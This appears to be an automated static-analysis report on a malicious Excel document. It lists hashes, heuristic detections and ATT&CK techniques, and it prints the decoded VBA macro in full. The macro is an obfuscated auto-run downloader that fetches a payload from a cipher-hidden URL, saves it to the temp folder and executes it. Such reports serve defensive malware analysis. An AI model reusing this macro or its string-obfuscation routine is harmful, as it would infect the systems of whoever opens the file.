Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f55d5580176683a…

MALICIOUS

Office (OLE)

169.5 KB Created: 2018-07-11 16:53:20 Authoring application: Microsoft Excel First seen: 2018-08-14
MD5: 6854189814bada6a96adf12d8d787d65 SHA-1: 3d4c57374ba26f9a3266a094c48cde42d81b86d5 SHA-256: 4f55d5580176683a6da9c42470488a272d49ecace1961f72de3fd8d037f624d8
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Excel document containing a Workbook_open VBA macro. This macro is designed to download a second-stage payload from the URL "hÖÖÓ://ÁÔÜÓÖÒvÒÄÓ.ÄÅ/ÙÓdÀÖÂ/ZÄÓ.ÂÛÂ" and save it to the temporary directory as "%TEMP%\ØàãáäJQáá.ÂÛÂ". The use of CreateObject and Environ calls, along with the HTTP download and execution heuristic, strongly indicates a downloader functionality. The macro's auto-execution via Workbook_open and the embedded lure to enable macros point to a malicious intent to compromise the user's system.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ®¦°½ª½¶©´³«¹«»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸ = ¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²°£¸¶«º¯«®§´´¯®¨·¥¼.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set º¯½¡¹ª²¼¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹ª¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨°½·¼¥¨º»¡»¾¬½°¶·¶¸©¥¡®¦¦´¶¸³®¥ = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨º¸¸·º²µ¹«µ´½·¹´¬µ§©»µ¯»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£®§£¥²¼¼¦¥°¾´ª = Environ("tmp") + ¸µ¨°¼§µ²¥½¬«¬©¼¸¼¡¸·¯¬ª¿¡¸´¦¾¯£¾®¦°½ª½¶©´³«¹«»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹("\ØàãáäJQáá.ÂÛÂ")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9922 bytes
SHA-256: 7732ba68fd212a4d062c126565cf516dbb649c0db5362509a2ee4f779acd22ec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub origins()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
Dim ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨º¸¸·º²µ¹«µ´½·¹´¬µ§©»µ¯»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£®§£¥²¼¼¦¥°¾´ª
Dim º¯½¡¹ª²¼¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹ª¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨°½·¼¥¨º»¡»¾¬½°¶·¶¸©¥¡®¦¦´¶¸³®¥
Set º¯½¡¹ª²¼¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹ª¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨°½·¼¥¨º»¡»¾¬½°¶·¶¸©¥¡®¦¦´¶¸³®¥ = CreateObject("Shell.Application")

Dim ¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²°£¸¶«º¯«®§´´¯®¨·¥¼
Set ¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²°£¸¶«º¯«®§´´¯®¨·¥¼ = CreateObject("microsoft.xmlhttp")

ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨º¸¸·º²µ¹«µ´½·¹´¬µ§©»µ¯»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£®§£¥²¼¼¦¥°¾´ª = Environ("tmp") + ¸µ¨°¼§µ²¥½¬«¬©¼¸¼¡¸·¯¬ª¿¡¸´¦¾¯£¾®¦°½ª½¶©´³«¹«»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹("\ØàãáäJQáá.ÂÛÂ")
¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²°£¸¶«º¯«®§´´¯®¨·¥¼.Open "GET", ¸µ¨°¼§µ²¥½¬«¬©¼¸¼¡¸·¯¬ª¿¡¸´¦¾¯£¾®¦°½ª½¶©´³«¹«»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹("hÖÖÓ://ÁÔÜÓÖÒvÒÄÓ.ÄÅ/ÙÓdÀÖÂ/ZÄÓ.ÂÛÂ"), False
¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²°£¸¶«º¯«®§´´¯®¨·¥¼.send
®¦°½ª½¶©´³«¹«»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸ = ¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²°£¸¶«º¯«®§´´¯®¨·¥¼.responseBody
If ¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²°£¸¶«º¯«®§´´¯®¨·¥¼.Status = 200 Then
Set ¢³ª¶£·¹º¶ª·¦¿½¶¬½¡·½´³¥¬´¯§²©²§¥»´²¢¹¸ª´®©¬¥£¶¬«¦¡£¾§´¿¤§®¶»»º½µ°µ¨¡¢¸º¼·©°¤®·¸«¶¹® = CreateObject("adodb.stream")
¢³ª¶£·¹º¶ª·¦¿½¶¬½¡·½´³¥¬´¯§²©²§¥»´²¢¹¸ª´®©¬¥£¶¬«¦¡£¾§´¿¤§®¶»»º½µ°µ¨¡¢¸º¼·©°¤®·¸«¶¹®.Open
¢³ª¶£·¹º¶ª·¦¿½¶¬½¡·½´³¥¬´¯§²©²§¥»´²¢¹¸ª´®©¬¥£¶¬«¦¡£¾§´¿¤§®¶»»º½µ°µ¨¡¢¸º¼·©°¤®·¸«¶¹®.Type = 1
¢³ª¶£·¹º¶ª·¦¿½¶¬½¡·½´³¥¬´¯§²©²§¥»´²¢¹¸ª´®©¬¥£¶¬«¦¡£¾§´¿¤§®¶»»º½µ°µ¨¡¢¸º¼·©°¤®·¸«¶¹®.Write ®¦°½ª½¶©´³«¹«»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸
¢³ª¶£·¹º¶ª·¦¿½¶¬½¡·½´³¥¬´¯§²©²§¥»´²¢¹¸ª´®©¬¥£¶¬«¦¡£¾§´¿¤§®¶»»º½µ°µ¨¡¢¸º¼·©°¤®·¸«¶¹®.SaveToFile ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨º¸¸·º²µ¹«µ´½·¹´¬µ§©»µ¯»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£®§£¥²¼¼¦¥°¾´ª, 2
¢³ª¶£·¹º¶ª·¦¿½¶¬½¡·½´³¥¬´¯§²©²§¥»´²¢¹¸ª´®©¬¥£¶¬«¦¡£¾§´¿¤§®¶»»º½µ°µ¨¡¢¸º¼·©°¤®·¸«¶¹®.Close
End If
º¯½¡¹ª²¼¹³©¤¤¤¢ª¯ª¸¿¿¦¤£§¸¯¼³¨§¶¨¦³¹ª¢©½¢¼»£®¤¬©¶©£¦µ³¯¢½¸¶½¨°½·¼¥¨º»¡»¾¬½°¶·¶¸©¥¡®¦¦´¶¸³®¥.Open (ª·¬¶ª°¿°·´¾µ®¸¾¬¿¨²»¿¯©µ²«ª¹¼§¢¨º¸¸·º²µ¹«µ´½·¹´¬µ§©»µ¯»¶¾«ºº³³¬§°¯£¯¡º®º¹µ¯¾£®§£¥²¼¼¦¥°¾´ª)


End Sub

    Public Function ¸µ¨°¼§µ²¥½¬«¬©¼¸¼¡¸·¯¬ª¿¡¸´¦¾¯£¾®¦°½ª½¶©´³«¹«»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹(®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²)
        ¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾£¿³§©¾¤ª¿§¡««¼´«³º¬·®¹»¤«¬¾¥§·«´·µ»½©´µº¸µ¨°¼§µ²¥½¬«¬©¼¸¼¡¸·¯¬ª¿¡¸´¦¾¯£¾®¦° = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
        ½ª½¶©´³«¹«»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²)
            ¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²°£¸¶«º¯«®§´´¯®¨·¥¼©º¾¥¡§¼¹º¹»³¢³ = InStr(¡¬¨³¸²ª®®¯«»·»¢¾¶¿®¬¾£¿³§©¾¤ª¿§¡««¼´«³º¬·®¹»¤«¬¾¥§·«´·µ»½©´µº¸µ¨°¼§µ²¥½¬«¬©¼¸¼¡¸·¯¬ª¿¡¸´¦¾¯£¾®¦°, Mid(®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹², i, 1))
            If ¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²°£¸¶«º¯«®§´´¯®¨·¥¼©º¾¥¡§¼¹º¹»³¢³ > 0 Then
                ª¶£·¹º¶ª·¦¿½¶¬½·¿©»»´¥¼¦²º¡¹°´¬¼º·®¿¢»¥¢¤´µ¾¤¤³¸µ¨°¼§µ²¥½¬«¬©¼¸¼¡¸·¯¬ª¿¡¸´¦¾¯£¾®¦°½ª½¶©´³«¹ = Mid(½ª½¶©´³«¹«»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾, ¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹²°£¸¶«º¯«®§´´¯®¨·¥¼©º¾¥¡§¼¹º¹»³¢³, 1)
                «»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½ = «»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½ + ª¶£·¹º¶ª·¦¿½¶¬½·¿©»»´¥¼¦²º¡¹°´¬¼º·®¿¢»¥¢¤´µ¾¤¤³¸µ¨°¼§µ²¥½¬«¬©¼¸¼¡¸·¯¬ª¿¡¸´¦¾¯£¾®¦°½ª½¶©´³«¹
            Else
                «»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½ = «»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½ + Mid(®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½¤¦»¼°µ¿ª¾³¡¡¢²§£²»¤¥µ¡°¤»£¿¾´¤¹³£¶¼²²¦¦º¿¨¹«¸©²¹², i, 1)
            End If
        Next
        ¸µ¨°¼§µ²¥½¬«¬©¼¸¼¡¸·¯¬ª¿¡¸´¦¾¯£¾®¦°½ª½¶©´³«¹«»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹ = «»½£½«¯¤¦¸ªµ°¢µ¿§¶¢´®¾²³©³¶»µ§¢¢£°¾®¨¹®¯¥£¡¦¹¬½µ§¥·§¤´³¨¡¿¿°¶½¢º¢¼¨¸¨¡¥¶¤º°·º¸¾¦³·¸½
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True